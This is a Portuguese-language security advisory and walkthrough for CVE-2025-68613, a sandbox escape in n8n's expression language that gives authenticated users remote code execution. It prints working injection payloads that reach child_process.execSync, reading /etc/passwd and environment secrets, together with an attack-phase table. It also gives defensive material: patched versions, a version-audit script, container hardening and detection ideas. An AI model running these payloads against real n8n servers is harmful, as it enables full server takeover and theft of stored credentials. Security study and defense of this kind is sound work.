
CVE-2025-68613 (n8n) Análise crítica de RCE + recomendações defensivas (validação de patch, ideias de detecção e dicas de hardening)
CVE-2025-68613 é uma vulnerabilidade crítica de execução remota de código na plataforma de automação de workflows n8n que permite que atacantes autenticados executem comandos arbitrários no sistema através de injeção de expressão.
⚡ Estatísticas Rápidas
|
🎯 Factos-Chave
|
| Propriedade | Valor |
|---|---|
| 🆔 ID CVE | CVE-2025-68613 |
| 📊 Pontuação CVSS | 9.9 (Crítico) 🔴 |
| 🔗 Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (Controlo Inadequado de Recursos de Código Geridos Dinamicamente) |
| 📦 Versões Afetadas | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ Versões Corrigidas | 1.120.4, 1.121.1, 1.122.0+ |
n8n é uma plataforma de automação de workflows open-source que permite integração no-code/low-code em mais de 400 aplicações. Está amplamente implantada em:
| 🏢 Caso de Uso | 📝 Descrição |
|---|---|
| 🔧 DevOps | Pipelines de automação, integrações CI/CD |
| 🛡️ Operações de Segurança | Workflows SOAR, resposta a incidentes |
| 💼 Negócios | Automação de processos, workflows de dados |
| 📊 Dados | Processos ETL, integrações de API |
🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 n8n Expression Language → Dynamic Data Handling │
│ ↓ │
│ ⚠️ Insufficient Sandbox Isolation in Server-Side Eval │
│ ↓ │
│ 💀 Malicious Expression Escapes Sandbox │
│ ↓ │
│ 🖥️ Access to Node.js child_process Module │
│ ↓ │
│ 💥 FULL RCE - OS Command Execution │
└─────────────────────────────────────────────────────────────────┘
Pré-requisitos para Exploração:
| # | 📋 Requisito | 📝 Detalhes |
|---|---|---|
| 1️⃣ | Autenticação | Conta de utilizador n8n válida (privilégio baixo é suficiente) |
| 2️⃣ | Permissões | Capacidade de criar/editar workflows |
| 3️⃣ | Acesso à Rede | Capacidade de alcançar a instância n8n |
| 🏷️ Atributo | 📊 Valor | 🔥 Risco |
|---|---|---|
| Complexidade | BAIXA (AC:L) | 🔴 Alto |
| Interação do Utilizador | Nenhuma Necessária | 🔴 Alto |
| Âmbito | Alterado | 🔴 Crítico |
graph TD
A[🔐 Utilizador Autenticado] -->|Cria| B[📝 Novo Workflow]
B -->|Injeta| C[💀 Expressão Maliciosa]
C -->|Aciona| D[⚡ Avaliação da Expressão]
D -->|Explora| E[🔓 Fuga da Sandbox]
E -->|Acede a| F[🖥️ Runtime Node.js]
F -->|Executa| G[💥 Comando OS via child_process]
G -->|Alcança| H[☠️ COMPROMETIMENTO TOTAL DO SERVIDOR]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ AVISO: O que se segue é apenas para fins educacionais. A exploração não autorizada é ilegal.
Acesso inicial à plataforma de automação de workflows n8n vulnerável.
🔓 Painel de Boas-vindas do n8n - Ponto de Entrada
Criar um novo workflow que conterá o payload malicioso.
📝 A criar novo workflow com "Adicionar primeiro passo"
Configurar o gatilho do workflow - Gatilho Manual permite execução a pedido.
🎯 A selecionar Gatilho Manual para ativação do workflow
Adicionar o nó "Edit Fields (Set)" que conterá a expressão maliciosa.
🔧 A adicionar nó "Edit Fields (Set)" para injeção do payload
O passo crítico - injetar a expressão de fuga da sandbox para alcançar RCE.
💀 Expressão maliciosa executa comando 'id' com sucesso!
// 🔴 MALICIOUS PAYLOAD (DO NOT USE ILLEGALLY)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
Saída Mostra: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE CONFIRMADO!
GIF de Injeção de Código
⚠️ AVISO: Estes payloads são apenas para testes de segurança autorizados. A utilização não autorizada é ilegal!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString(); })() }}
💀 A ler /etc/passwd - Acesso total ao sistema de ficheiros demonstrado!
| 🎯 Payload | 📋 Saída Esperada |
|---|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | Lista completa de utilizadores do sistema (root, daemon, node, etc.) |
env | Todas as variáveis de ambiente incluindo segredos |
ls -la / | Listagem do sistema de ficheiros raiz |
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 VULNERABILITY ROOT CAUSE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ The n8n expression evaluator LACKS a sanitizer to prevent function │
│ expressions from accessing: │
│ │
│ ❌ this.process → Node.js process object │
│ ❌ mainModule.require → Module loading system │
│ ❌ child_process → OS command execution │
│ │
│ This allows direct access to system modules and arbitrary code exec! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
|
|
# 🛡️ Atualizar n8n para a versão corrigida
npm install -g n8n@latest
# Ou com Docker
docker pull n8n/n8n:1.122.0
| Fase | 🔥 Ação | 💀 Impacto |
|---|---|---|
| 1️⃣ | Acesso Inicial | Autenticar no n8n |
| 2️⃣ | Execução | Submeter workflow malicioso |
| 3️⃣ | Persistência | Implantar reverse shell/backdoor |
| 4️⃣ | C2 | Estabelecer comando & controlo |
| 5️⃣ | Ações | Exfiltrar dados, movimento lateral |
| 🎯 Ação | 💥 Nível de Impacto |
|---|---|
| 🔑 Roubo de Credenciais | Extrair chaves API, tokens OAuth, passwords BD |
| 📤 Exfiltração de Dados | Dados de workflows, logs de execução, info de negócio |
| 🔒 Persistência | Cron jobs, scripts de inicialização, web shells |
| 🔀 Movimento Lateral | Pivot para bases de dados, CI/CD, infra cloud |
| 🗑️ Manipulação de Workflows | Modificar/destruir lógica de automação |
🔴 Confidencialidade (ALTA)
|
🟠 Integridade (ALTA)
|
🟡 Disponibilidade (ALTA)
|
| # | 📋 Método | 🔍 O que Monitorizar |
|---|---|---|
| 📜 | Análise de Logs | Comandos invulgares do processo n8n, expressões falhadas |
| 🌐 | Rede | Conexões de saída para IPs desconhecidos, grandes pedidos POST |
| ⚡ | Runtime | Invocações de child_process, spawns inesperados |
| 📦 | Auditoria de Versão | Verificar contra intervalo de versões vulneráveis |
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n version audit
echo "🔍 Checking n8n version..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ VULNERABLE: n8n $VER affected by CVE-2025-68613"
echo "📦 Required: Upgrade to 1.120.4, 1.121.1, or 1.122.0+"
exit 2
else
echo "✅ SAFE: n8n $VER is patched"
fi
else
echo "❌ n8n not found in PATH"
fi
| 🔢 Prioridade | 🛠️ Ação | 📝 Detalhes |
|---|---|---|
| 🔴 P0 | CORRIGIR AGORA | Atualizar para 1.120.4, 1.121.1 ou 1.122.0+ |
| 🟠 P1 | Restringir Acesso | Limitar criação de workflows a utilizadores de confiança |
| 🟡 P2 | Reforço do Contentor | Implantar com restrições de segurança |
# 🛡️ Hardened n8n deployment
FROM n8n/n8n:1.122.0
# 👤 Run as non-root user
USER node
# 🔒 Apply these runtime flags:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ Medida | 📝 Implementação |
|---|---|
| 🌐 Segmentação de Rede | Isolar instâncias n8n |
| 🔥 Regras WAF | Monitorizar padrões de expressão |
| 📜 Registo de Auditoria | Ativar registo abrangente |
| 🔍 Revisões de Segurança | Avaliações regulares de workflows |
| 🔓 Menor Privilégio | Aplicar controlos de acesso |
Como conceberia uma regra de deteção para identificar tentativas de injeção de expressão em definições de workflow n8n antes da execução, considerando a necessidade de equilibrar segurança com uso legítimo de expressões dinâmicas?
Bónus: Que proteções de runtime implementaria para limitar o raio de explosão caso a fuga da sandbox ocorra apesar da correção?
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
⚠️ AVISO: Esta análise é apenas para fins educacionais e de segurança defensiva.
A exploração não autorizada de vulnerabilidades é ILEGAL.